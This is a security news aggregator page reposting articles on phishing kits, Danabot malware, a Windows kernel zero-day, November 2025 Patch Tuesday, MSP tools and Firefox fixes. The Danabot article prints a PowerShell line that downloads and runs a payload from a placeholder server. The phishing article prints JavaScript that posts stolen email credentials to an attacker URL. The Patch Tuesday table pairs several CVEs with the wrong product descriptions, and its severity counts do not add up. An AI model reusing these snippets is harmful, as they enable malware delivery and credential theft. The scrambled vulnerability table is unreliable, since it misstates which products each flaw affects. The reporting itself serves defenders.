1010.cx

  • Chinese National Sentenced for Laundering Over £5 Billion from 128,000 Victims

    ·

    ,

    A landmark Metropolitan Police investigation has concluded with the sentencing of two individuals involved in one of the world’s largest cryptocurrency seizures, which recovered over 61,000 Bitcoin, worth approximately £5 billion, from a sophisticated international fraud operation. A seven-year investigation by the Metropolitan Police’s Economic Crime team has reached a significant milestone, with Zhimin Qian, […]

    The post Chinese National Sentenced for Laundering Over £5 Billion from 128,000 Victims appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New Quantum Route Redirect Tool Lets Attackers Launch One-Click Phishing Attacks on Microsoft 365 Users

    ·

    , ,

    A sophisticated phishing campaign is targeting Microsoft 365 users worldwide through a newly discovered tool called Quantum Route Redirect.

    This advanced automation platform transforms complex phishing operations into simple one-click attacks that evade traditional security measures.

    The campaign has already affected victims across 90 countries, with the United States accounting for 76% of the targets.

    The tool represents a dangerous shift in the phishing landscape by removing technical barriers that once limited cybercriminal activities. What previously required advanced expertise can now be executed by less experienced attackers using this pre-configured phishing kit.

    The platform comes with ready-made phishing domains and automated systems that handle everything from traffic routing to victim tracking.

    KnowBe4 Threat Lab security researchers first identified attacks using Quantum Route Redirect in early August 2025 through their PhishER Plus and Defend platforms.

    The research team has since uncovered approximately 1,000 domains currently hosting this tool. The campaigns employ diverse social engineering tactics including DocuSign impersonation, payroll notifications, payment alerts, and QR code phishing to maximize victim engagement.

    Quantum Route Redirect system flow (Source - Knowbe4)
    Quantum Route Redirect system flow (Source – Knowbe4)

    The attack infrastructure demonstrates concerning longevity potential, with developers planning upgrades that include QR code generation capabilities.

    Victims receive phishing emails containing links that follow a consistent pattern: /([\w\d-]+\.){2}[\w]{,3}\/quantum.php/ hosted on parked or compromised legitimate domains.

    This strategic choice leverages brand trust to increase success rates.

    Intelligent Traffic Routing System

    The core innovation behind Quantum Route Redirect lies in its sophisticated visitor classification system.

    When someone clicks a malicious link, the platform immediately analyzes incoming traffic to differentiate between automated security scanners and human targets through real-time behavioral analysis.

    The system routes security tools and bots to legitimate websites, making the original email appear harmless during automated URL scanning.

    Meanwhile, genuine human visitors are directed straight to credential harvesting pages. This automated evasion technique successfully deceives both email security gateways and web application firewalls.

    The platform performs browser fingerprinting and VPN/proxy detection automatically, enhancing its ability to identify security tools versus actual targets.

    Cybercriminals monitor campaign effectiveness through an intuitive dashboard displaying comprehensive analytics including total impressions, victim locations, device types, and browser information.

    This management interface provides two key components: a configuration panel for managing redirect rules and routing logic, plus visitor statistics for tracking traffic data and measuring campaign success rates.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post New Quantum Route Redirect Tool Lets Attackers Launch One-Click Phishing Attacks on Microsoft 365 Users appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Danabot Malware Resurfaced with Version 669 Following Operation Endgame

    ·

    , ,

    Danabot, a notorious banking Trojan, has made a significant comeback with its new version 669 after a period of inactivity triggered by Operation Endgame’s law enforcement sweep in May 2025.

    This advanced malware’s resurgence signals a new threat wave targeting financial institutions, cryptocurrency users, and individual victims using sophisticated multi-stage attacks.

    Danabot tracks a legacy of credential theft, financial fraud, and information exfiltration, its latest evolution marks a technical refinement in both behavioral tactics and infrastructure.

    The malware leverages multiple attack vectors to infect systems, including spear-phishing campaigns and malicious documents designed to deliver its payload.

    Victims are lured into executing obfuscated attachments using convincing social engineering, which triggers the initial infection.

    Once established, Danabot version 669 deploys several modules specializing in data harvesting, lateral movement across networks, and payload delivery tailored for Windows environments.

    The malware also targets cryptocurrency wallets, amplifying its reach beyond traditional banking fraud.

    Security researchers from Zscaler ThreatLabz identified and analyzed version 669, confirming its revival and exposing its technical underpinnings.

    Notably, ThreatLabz documented shifts in Danabot’s command-and-control (C2) infrastructure.

    The malware now employs a mix of conventional IP-based C2s and .onion addresses to manage payloads and data exfiltration, ensuring operational resilience and complicating mitigation efforts.

    Key C2 addresses include 62.60.226[.]146:443, 62.60.226[.]154:443, and several .onion domains such as aqpfkxxtvahlzr6vobt6fhj4riev7wxzoxwItbcysuybirygxzvp23ad[.]onion:44.

    Infection Mechanism Spotlight

    At the core of Danabot’s infection process is a robust loader. Once executed, this loader downloads additional encrypted modules and configuration files from multiple C2 servers. The following code snippet represents the initial stage payload deployment:

    Invoke-WebRequest -Uri 'http://malicious-server/payload' -OutFile 'C:\Users\Public\payload.exe'; Start-Process 'C:\Users\Public\payload.exe'

    After establishing a foothold, Danabot injects itself into legitimate Windows processes as a persistence measure and leverages scheduled tasks for continual execution.

    The modular design allows the threat actor to remotely manage new payloads and update infection parameters without direct user interaction.

    This strategic flexibility, coupled with enhanced detection evasion through encrypted configuration and C2 communications, makes Danabot version 669 a formidable adversary in the current threat landscape.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Danabot Malware Resurfaced with Version 669 Following Operation Endgame appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Windows Kernel 0‑day Vulnerability Actively Exploited in the Wild to Escalate Privilege

    ·

    , ,

    Microsoft has assigned CVE-2025-62215 to a new Windows Kernel elevation of privilege flaw that is being actively exploited in the wild.

    Published on November 11, 2025, the vulnerability is rated Important and tracked as an elevation of privilege issue in the kernel. Microsoft’s exploitability index lists “Exploitation Detected,” indicating real-world use despite the absence of public disclosure.

    CVE-2025-62215 stems from concurrent execution using a shared resource with improper synchronization, aligning with CWE-362 (race condition), and is also associated with CWE-415 (double free).

    Successful exploitation requires an attacker to win a race condition (CVSS Attack Complexity: High), but when it lands, it can grant SYSTEM privileges.

    The flaw is local and requires an already authorized attacker, making it a classic post-compromise privilege escalation used to deepen control, disable defenses, and move laterally.

    While technical specifics remain limited, the combination of race condition and double free suggests a timing-sensitive memory corruption path in kernel code.

    This profile is consistent with techniques favored by both targeted threat actors and ransomware operators to elevate privileges after initial access via phishing, driver abuse, or application exploits.

    Windows VersionAffectedFixed KB NumberRelease DateNotes
    Windows 10 (various builds, including ESU)YesKB5068858 (example for 22H2)November 12, 2025All supported editions affected; ESU required for post-support patching.
    Windows 11 version 22H2YesKB5068865November 12, 2025Core kernel component; immediate patching recommended.
    Windows 11 version 23H2YesKB5068862November 12, 2025Includes security and quality fixes addressing the race condition.
    Windows 11 version 24H2YesKB5068861November 12, 2025Latest feature update; exploitation detected pre-patch.
    Windows Server 2019YesKB5068859November 12, 2025Server environments at higher risk due to privilege escalation potential.
    Windows Server 2022YesKB5068860November 12, 2025Applies to domain controllers and file servers; monitor for updates.
    Windows Server 2025YesKB5068861November 12, 2025New server OS; aligns with Windows 11 24H2 patching.

    Given that exploitation has been detected but no public proof-of-concept is available, expect continued targeted use.

    Organizations should treat CVE-2025-62215 as a priority for rapid patching and detection engineering, with special attention to servers, jump hosts, and administrative workstations.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Windows Kernel 0‑day Vulnerability Actively Exploited in the Wild to Escalate Privilege appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Beware of Security Alert-Themed Malicious Emails that Steal Your Email Logins

    ·

    , ,

    A new wave of security alert-themed phishing emails has recently surfaced, causing concern within both enterprise and personal email environments.

    These malicious emails cleverly impersonate official security notifications, often appearing to come from the victim’s own domain.

    Their main objective is to instill panic by warning users about “blocked messages” and prompt recipients to take urgent action, such as clicking a provided link to resolve the issue.

    This campaign demonstrates how perpetrators can skillfully exploit trust and urgency, increasing the likelihood that unsuspecting users will interact with harmful links.

    In these campaigns, recipients are misled into believing their inbox is at risk. Upon clicking the disguised link, victims are redirected to a fake webmail login portal that’s designed to closely mirror legitimate pages.

    Significantly, the portal is pre-filled with the recipient’s actual email address, adding to its authenticity.

    Unit 42 security analysts noted this campaign’s effectiveness in bypassing basic suspicion by imitating legitimate internal warnings.

    Their research identified that attackers deploy these phishing kits to harvest user credentials efficiently while maintaining a convincing facade.

    Malicious Emails

    Here the phishing email mimics genuine security alerts with deceptive subject lines and sender information.

    Delving into the infection chain, the attack leverages HTML email attachments, which often contain embedded JavaScript.

    Upon opening the attachment, malicious scripts execute in the recipient’s browser, capturing login details entered on the spoofed page.

    A code snippet observed in these campaigns typically resembles:-

    let creds = { email: document.getElementById('email').value, pass: document.getElementById('pass').value };
fetch('https://malicious.site/collect', { method: 'POST', body: JSON.stringify(creds) });

    This script silently collects credentials and transmits them to an attacker-controlled server.

    The threat from such phishing operations lies in both technical sophistication and psychological manipulation, making layered defenses and user vigilance critical for mitigation.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Beware of Security Alert-Themed Malicious Emails that Steal Your Email Logins appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Microsoft Patch Tuesday for November 2025 – Fix for 0-day and Other 62 Vulnerabilities

    ·

    , , ,

    Microsoft has released its November 2025 Patch Tuesday update, addressing 63 security vulnerabilities across its software lineup. The update includes a critical fix for a zero-day vulnerability in the Windows Kernel that is confirmed to be actively exploited in the wild. The most critical patch in this month’s release is for CVE-2025-62215, an Elevation of […]

    The post Microsoft Patch Tuesday for November 2025 – Fix for 0-day and Other 62 Vulnerabilities appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • WhatsApp Malware ‘Maverick’ Hijacks Browser Sessions to Target Brazil’s Biggest Banks

    ·

    Threat hunters have uncovered similarities between a banking malware called Coyote and a newly disclosed malicious program dubbed Maverick that has been propagated via WhatsApp. According to a report from CyberProof, both malware strains are written in .NET, target Brazilian users and banks, and feature identical functionality to decrypt, targeting banking URLs and monitor banking applications.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Microsoft November 2025 Patch Tuesday – 63 Vulnerabilities, Including 1 Zero-Day Fixed

    ·

    , ,

    Microsoft rolled out its November 2025 Patch Tuesday security updates today, addressing 63 vulnerabilities across its product and service ecosystem.

    Among these, one zero-day flaw has already been exploited in the wild, underscoring the urgency for organizations and users to apply patches promptly to mitigate potential threats.

    The updates cover Windows, Office, Azure, Visual Studio, and other components, with a focus on remote code execution (RCE) and elevation of privilege (EoP) issues that could allow attackers to compromise systems.

    ImpactCount
    Elevation of Privilege29​
    Remote Code Execution16​
    Information Disclosure11​
    Denial of Service3​
    Spoofing2​
    Security Feature Bypass2​

    The key concern is CVE-2025-62215, a Windows Kernel Elevation of Privilege vulnerability rated as Important, with confirmed exploitation.

    This race condition flaw enables an authorized local attacker to escalate privileges by exploiting improper synchronization in shared resources.

    Microsoft notes that exploitation is more likely due to its active use, potentially allowing threat actors to gain higher access on affected Windows systems. No workaround exists beyond installing the update, and experts recommend immediate deployment on all supported versions, including Windows 10, 11, and Server editions.

    Critical vulnerabilities dominate the release, with five rated as such. Leading the pack is CVE-2025-62199, a use-after-free bug in Microsoft Office leading to RCE, where an unauthorized attacker could execute code locally via malicious documents.

    Exploitation is deemed less likely, but its critical severity warrants priority patching for Office users. Similarly, CVE-2025-60716 in Windows DirectX involves a use-after-free error, allowing local privilege escalation to critical levels.

    Another high-impact issue, CVE-2025-60724, is a heap-based buffer overflow in GDI+ that permits remote code execution over networks, posing risks to graphics-dependent applications.

    CVE-2025-62214 affects Visual Studio with command injection for local RCE, while CVE-2025-30398 in Nuance PowerScribe 360 exposes sensitive information via missing authorization, all released on November 11, 2025.

    The bulk of the patches, 57, rated Important target elevation of privilege flaws, which comprised over half the vulnerabilities. Notable examples include CVE-2025-59505 (double free in Windows Smart Card), CVE-2025-60704 (missing crypto in Kerberos for network-based EoP), and CVE-2025-60719 (untrusted pointer in WinSock driver).

    Information disclosure issues, like CVE-2025-59509 in Windows Speech Recognition, and denial-of-service bugs, such as CVE-2025-59510 in RRAS, round out the list.

    Azure components aren’t spared, with CVE-2025-59504 offering local RCE in the Monitor Agent via buffer overflow. Dynamics 365 sees spoofing via XSS in CVE-2025-62210 and CVE-2025-62211.

    CVE IDProduct/ComponentDescriptionImpact
    CVE-2025-62199Microsoft OfficeUse after free in Microsoft Office allows an unauthorized attacker to execute code locally.Remote Code Execution
    CVE-2025-60716DirectX Graphics KernelUse after free in Windows DirectX allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-60724GDI+Heap-based buffer overflow in Microsoft Graphics Component allows an unauthorized attacker to execute code over a network.Remote Code Execution
    CVE-2025-62214Visual StudioImproper neutralization of special elements used in a command (‘command injection’) in Visual Studio allows an authorized attacker to execute code locally.Remote Code Execution
    CVE-2025-30398Nuance PowerScribe 360Missing authorization in Nuance PowerScribe allows an unauthorized attacker to disclose information over a network.Information Disclosure
    CVE-2025-59504Azure Monitor AgentHeap-based buffer overflow in Azure Monitor Agent allows an unauthorized attacker to execute code locally.Remote Code Execution
    CVE-2025-59505Windows Smart Card ReaderDouble free in Windows Smart Card allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-59506DirectX Graphics KernelConcurrent execution using shared resource with improper synchronization (‘race condition’) in Windows DirectX allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-59507Windows Speech RuntimeConcurrent execution using shared resource with improper synchronization (‘race condition’) in Windows Speech allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-59508Windows Speech RecognitionConcurrent execution using shared resource with improper synchronization (‘race condition’) in Windows Speech allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-59509Windows Speech RecognitionInsertion of sensitive information into sent data in Windows Speech allows an authorized attacker to disclose information locally.Information Disclosure
    CVE-2025-59510Windows Routing and Remote Access Service (RRAS)Improper link resolution before file access (‘link following’) in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to deny service locally.Denial of Service
    CVE-2025-59511Windows WLAN ServiceExternal control of file name or path in Windows WLAN Service allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-59512Customer Experience Improvement Program (CEIP)Improper access control in Customer Experience Improvement Program (CEIP) allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-59513Windows Bluetooth RFCOM Protocol DriverAn out-of-bounds read in the Windows Bluetooth RFCOMM Protocol Driver allows an authorized attacker to disclose local information.Information Disclosure
    CVE-2025-60703Windows Remote Desktop ServicesUntrusted pointer dereference in Windows Remote Desktop allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-60704Windows KerberosMissing cryptographic step in Windows Kerberos allows an unauthorized attacker to elevate privileges over a network.Elevation of Privilege
    CVE-2025-60705Windows Client-Side CachingImproper access control in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-60706Windows Hyper-VOut-of-bounds read in Windows Hyper-V allows an authorized attacker to disclose information locally.Information Disclosure
    CVE-2025-60707Multimedia Class Scheduler Service (MMCSS) DriverUse after free in Multimedia Class Scheduler Service (MMCSS) allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-60708Storvsp.sys DriverUntrusted pointer dereference in Storvsp.sys Driver allows an authorized attacker to deny service locally.Denial of Service
    CVE-2025-60709Windows Common Log File System DriverOut-of-bounds read in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-60710Host Process for Windows TasksImproper link resolution before file access (‘link following’) in Host Process for Windows Tasks allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-60726Microsoft ExcelOut-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.Information Disclosure
    CVE-2025-60727Microsoft ExcelOut-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code locally.Remote Code Execution
    CVE-2025-60728Microsoft ExcelUntrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to disclose information over a network.Information Disclosure
    CVE-2025-62206Microsoft Dynamics 365 (On-Premises)Exposure of sensitive information to an unauthorized actor in Microsoft Dynamics 365 (on-premises) allows an unauthorized attacker to disclose information over a network.Information Disclosure
    CVE-2025-62210Dynamics 365 Field Service (online)Improper neutralization of input during web page generation (‘cross-site scripting’) in Dynamics 365 Field Service (online) allows an authorized attacker to perform spoofing over a network.Spoofing
    CVE-2025-62216Microsoft OfficeUse-after-free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.Remote Code Execution
    CVE-2025-60719Windows Ancillary Function Driver for WinSockUntrusted pointer dereference in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-60722Microsoft OneDrive for AndroidImproper limitation of a pathname to a restricted directory (‘path traversal’) in OneDrive for Android allows an authorized attacker to elevate privileges over a network.Elevation of Privilege
    CVE-2025-62217Windows Ancillary Function Driver for WinSockConcurrent execution using shared resource with improper synchronization (‘race condition’) in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-62218Microsoft Wireless Provisioning SystemConcurrent execution using shared resource with improper synchronization (‘race condition’) in Microsoft Wireless Provisioning System allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-62219Microsoft Wireless Provisioning SystemDouble free in Microsoft Wireless Provisioning System allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-62220Windows Subsystem for Linux GUIHeap-based buffer overflow in Windows Subsystem for Linux GUI allows an unauthorized attacker to execute code over a network.Remote Code Execution
    CVE-2025-62452Windows Routing and Remote Access Service (RRAS)Heap-based buffer overflow in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to execute code over a network.Remote Code Execution
    CVE-2025-59240Microsoft ExcelExposure of sensitive information to an unauthorized actor in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.Information Disclosure
    CVE-2025-47179Configuration ManagerImproper access control in Microsoft Configuration Manager allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-59514Microsoft Streaming Service ProxyUse-after-free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-59515Windows Broadcast DVR User ServiceImproper privilege management in the Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-60713Windows Routing and Remote Access Service (RRAS)Untrusted pointer dereference in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-60714Windows OLEHeap-based buffer overflow in Windows OLE allows an unauthorized attacker to execute code locally.Remote Code Execution
    CVE-2025-60715Windows Routing and Remote Access Service (RRAS)Heap-based buffer overflow in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to execute code over a network.Remote Code Execution
    CVE-2025-60717Windows Broadcast DVR User ServiceUse-after-free in Microsoft Office Word allows an unauthorized attacker to execute code locally.Elevation of Privilege
    CVE-2025-60718Windows Administrator ProtectionUntrusted search path in Windows Administrator Protection allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-60720Windows Transport Driver Interface (TDI) Translation DriverBuffer over-read in Windows TDX.sys allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-60723DirectX Graphics KernelConcurrent execution using shared resource with improper synchronization (‘race condition’) in Windows DirectX allows an authorized attacker to deny service over a network.Denial of Service
    CVE-2025-62200Microsoft ExcelUntrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally.Remote Code Execution
    CVE-2025-62201Microsoft ExcelHeap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.Remote Code Execution
    CVE-2025-62202Microsoft ExcelOut-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.Information Disclosure
    CVE-2025-62203Microsoft ExcelUse-after-free in Microsoft Office allows an unauthorized attacker to execute code locally.Remote Code Execution
    CVE-2025-62204Microsoft SharePointDeserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.Remote Code Execution
    CVE-2025-62205Microsoft OfficeAn out-of-bounds read in the Windows Bluetooth RFCOMM Protocol Driver allows an authorized attacker to disclose local information.Remote Code Execution
    CVE-2025-62208Windows License ManagerInsertion of sensitive information into log file in Windows License Manager allows an authorized attacker to disclose information locally.Information Disclosure
    CVE-2025-62209Windows License ManagerInsertion of sensitive information into log file in Windows License Manager allows an authorized attacker to disclose information locally.Information Disclosure
    CVE-2025-59499Microsoft SQL ServerImproper neutralization of special elements used in an sql command (‘sql injection’) in SQL Server allows an authorized attacker to elevate privileges over a network.Elevation of Privilege
    CVE-2025-62211Dynamics 365 Field Service (online)Improper neutralization of input during web page generation (‘cross-site scripting’) in Dynamics 365 Field Service (online) allows an authorized attacker to perform spoofing over a network.Spoofing
    CVE-2025-62215Windows KernelConcurrent execution using shared resource with improper synchronization (‘race condition’) in Windows Kernel allows an authorized attacker to elevate privileges locally. (Zero-day, exploited)Elevation of Privilege
    CVE-2025-62213Windows Ancillary Function Driver for WinSockUse-after-free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.Elevation of Privilege
    CVE-2025-62222Agentic AI and Visual Studio CodeImproper neutralization of special elements used in a command (‘command injection’) in Visual Studio Code CoPilot Chat Extension allows an unauthorized attacker to execute code over a network.Remote Code Execution
    CVE-2025-62449Microsoft Visual Studio Code CoPilot Chat ExtensionImproper limitation of a pathname to a restricted directory (‘path traversal’) in Visual Studio Code CoPilot Chat Extension allows an authorized attacker to bypass a security feature locally.Security Feature Bypass
    CVE-2025-60721Windows Administrator ProtectionPrivilege context switching error in Windows Administrator Protection allows an authorized attacker to elevate privileges locally.Elevation of Privilege
    CVE-2025-62453GitHub Copilot and Visual Studio CodeImproper validation of generative ai output in GitHub Copilot and Visual Studio Code allows an authorized attacker to bypass a security feature locally.Security Feature Bypass

    This Patch Tuesday reflects Microsoft’s ongoing efforts to bolster defenses amid rising threat landscapes, including APT campaigns targeting enterprise software.

    Affected products span client OS, servers, productivity tools, and cloud services, emphasizing the need for comprehensive patch management. Security teams should scan environments using tools like Microsoft Update or WSUS, prioritizing internet-facing and privileged systems.

    Vulnerability researchers highlight that while no additional zero-days were publicly disclosed, the exploited CVE-2025-62215 aligns with trends in kernel-level attacks.

    Other Patch Tuesday Vulnerabilities

    1. Firefox Releases Security Update to Fix Multiple Vulnerabilities Allowing Arbitrary Code Execution
    2. Ivanti Endpoint Manager Vulnerabilities Let Attackers Write Arbitrary Files to Disk
    3. Synology BeeStation 0-Day Vulnerability Let Remote Attackers Execute Arbitrary Code
    4. Zoom Vulnerabilities Let Attackers Bypass Access Controls to Access Session Data
    5. SAP Security Update – Patch for Critical Vulnerabilities Allowing Code Execution and Injection Attacks

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Microsoft November 2025 Patch Tuesday – 63 Vulnerabilities, Including 1 Zero-Day Fixed appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Best MSP Software: The Essential Tech Stack 

    ·

    ,

    To grow a successful MSP business, you need the right technology stack, but the real question is: how do you choose the right tools? While some solutions are well-known and widely used, others are less obvious yet equally important. 

    Read this blog post for an overview of what makes up an MSP’s technology stack, the problems these tools solve, and the most essential features for delivering best-in-class MSP services. 

    Key Pain Points MSPs Face Today 

    Although each managed service provider may have a very different setup and environment, there are some common problems almost every MSP business owner faces on a daily basis.

    Some of these challenges relate to day-to-day operations, others to the efficiency of service delivery, and some of them to struggles with customer satisfaction. 

    Managing Complex and Diverse Environments 

    When you’re growing and scaling your MSP business, you inevitably face customers with very diverse environments: some of them heavily rely on their on-prem infrastructure, while others lean towards becoming cloud-first only.

    Trying to juggle multiple solutions while satisfying the needs of these diverse customers is a true nightmare that cannot be solved without standardized and unified systems. 

    Manual Routines 

    Some MSPs still rely on on-site visits or spend hours on manual problem detection and remediation. However, these processes, if not automated properly, eat up the most precious thing any technician has – their time.

    And once efficiency decreases over time, customers may start looking for another provider with more time and resources. 

    Evolving Threat Landscape 

    Overall, the threat and cybersecurity landscape is extensive and constantly changing. There’s a wide range of vulnerabilities to cover, and their parameters are becoming increasingly fluid over time.

    Customers expect MSPs to guarantee complete data protection that won’t fail them, which, as you probably know, is no easy task.

    That’s why MSPs must stay up-to-date on cyber threats and ransomware, continually educate themselves and their customers, and, of course, follow market trends to choose the best tools for keeping every endpoint secure. 

    Scalability and Standardization 

    Once your MSP business takes off and you start getting more and more clients, it becomes increasingly difficult to address ever-growing problems individually.

    When this moment hits, you should start thinking about standardizing your software stack to avoid chaos in your operations and decreased service quality.

    However, some MSPs might face an even bigger issue here — the tools they’re used to no longer work well together when applied to a more diverse customer base, or they simply don’t have enough time and resources to properly manage multiple dashboards, bills, integrations – you name it. 

    Communication and Reporting 

    Without proper communication methods in place, it’s hard for MSPs to understand their clients’ needs, and without proper automated reporting, they struggle to demonstrate their value and prove that their customers’ budgets are well spent. 

    Best MSP Software: Essential Solutions Every MSP Needs 

    Again, although each MSP can combine the services they wish to offer as they need, there’s a specific range of services that can be the same for almost all providers.  

    Below, we provide the essential software every MSP should have, along with examples of the best MSP software on the market, and must-have features for each. 

    Backup and Disaster Recovery Solution 

    Owning a professional-grade backup and disaster recovery solution is a must for any managed service provider, since one of their primary tasks is protecting customer data from hardware crashes, human error, and other disruptions.

    Having a reliable and secure solution is essential, especially with the rise of ransomware and other destructive threats. Moreover, you also need to back up your own internal systems and data – that’s why this type of software should be number one on your list. 

    The most important features of a backup solution include the ability to back up files and systems, cloud backups (bonus points if the software allows you to back up your data to the cloud of your choice and doesn’t limit you to its own proprietary cloud), fast recovery, comprehensive reporting, alerting, and custom notifications.

    Another great feature to have is a centralized dashboard that you can access anytime to gain useful insights into all processes under your management. 

    Commonly used backup solutions for MSPs include: 

    • MSP360 Managed Backup: a centralized, cloud-based solution for desktops, servers and virtual machines, offering flexible storage options (AWS, Wasabi Hot Cloud Storage, Backblaze B2, or your own S3-compatible cloud). 
    • Acronis Cyber Protect: cyber resilient backup for physical, virtual, cloud, and mobile environments with natively integrated endpoint security.  

    Remote Monitoring and Management (RMM) 

    RMM tools are solutions designed to help MSPs track and manage their customers’ systems remotely. These tools significantly simplify MSPs’ work by eliminating the need for on-site presence for troubleshooting or patching. 

    Many RMM tools also offer automation features (such as patch management) to help you perform routine tasks as efficiently as possible.

    With capabilities like real-time monitoring, alerting, scripting, and task automation, your RMM tool will allow you to monitor system health across all endpoints under your management. 

    Here’s a list of the most popular RMM software options on the market: 

    • MSP360 RMM: MSP360 offers a completely free option for smaller MSPs with up to 50 endpoints under management (and the best part is that it’s not a trimmed-down version of a paid edition, it has the same features, with the only limitation being the number of endpoints), as well as a paid version for MSPs managing larger IT environments. 
    • NinjaOne: Comprehensive RMM solution with strong automation workflows and endpoint management. 
    • Atera: IT management platform that combines RMM, PSA and remote access with built-in AI agents. 

    Professional Services Automation (PSA) 

    PSA tools serve as a great addition to RMM solutions: together, these solutions streamline tasks such as client management, billing, and reporting.

    Key features that help MSPs enhance their internal workflow include ticket and time tracking, SLA management, billing integrations, and CRMs. 

    Popular PSA solutions among MSPs include: 

    • HaloPSA: All-in-one PSA with flexible workflow automation and a large variety of integrations. 
    • ConnectWise PSA: a solution for managing sales pipeline, invoicing, asset management, and more.  
    • Syncro: a tool that combines PSA and RMM in a unified solution. 
    • Autotask PSA: cloud-based PSA that centralizes operations like service desk, project management, and billing. 

    Remote Access Tools 

    While RMM solutions are useful for advanced remote monitoring and management tasks, remote desktop tools are essential when you need remote access for troubleshooting client systems.

    These tools eliminate the need for on-site visits for quick fixes, which, in turn, reduces the time required for issue remediation and significantly cuts travel costs. 

    The most advanced solutions on the market offer an extensive feature set, including secure, encrypted remote sessions, file transfer, unattended access, and support for Windows, macOS, and Linux. 

    The list of best MSP software for remote access includes: 

    • MSP360 Managed Connect: Secure remote access built for MSPs, with logging, encryption, and session reporting. 

    Documentation and Knowledge Management 

    Some businesses still struggle with slow, manual documentation management, and employees can spend hours digging through paperwork while searching for critical documents.

    To truly save resources and eliminate the risk of errors, it’s much easier to adopt professional MSP documentation software to keep all processes, policies, and procedures in order. 

    Regardless of the documentation software chosen, features like documentation templates, collaboration, integration with RMM and/or PSA tools, and structured categorization will help MSPs devote their valuable time to growing a profitable business instead of doing manual paperwork. 

    The most popular solutions are: 

    • IT Glue: Industry leader for MSP documentation and password management. 
    • Hudu: Affordable alternative with clean design and strong automation. 
    • Confluence: Flexible knowledge base for internal process documentation. 

    Conclusion 

    With the proper combination of all these solutions, MSPs can build a powerful and reliable software stack that addresses the most common IT challenges and issues, creating opportunities to exceed customers’ expectations and increase profitability.  

    The post Best MSP Software: The Essential Tech Stack  appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Firefox Releases Security Update to Fix Multiple Vulnerabilities Allowing Arbitrary Code Execution

    ·

    , , ,

    Mozilla has rolled out Firefox 145, addressing a series of high-severity vulnerabilities that could allow attackers to execute arbitrary code on users’ systems.

    Announced on November 11, 2025, the release patches flaws primarily in the browser’s graphics, JavaScript, and DOM components, urging immediate upgrades to mitigate risks from potential exploits.

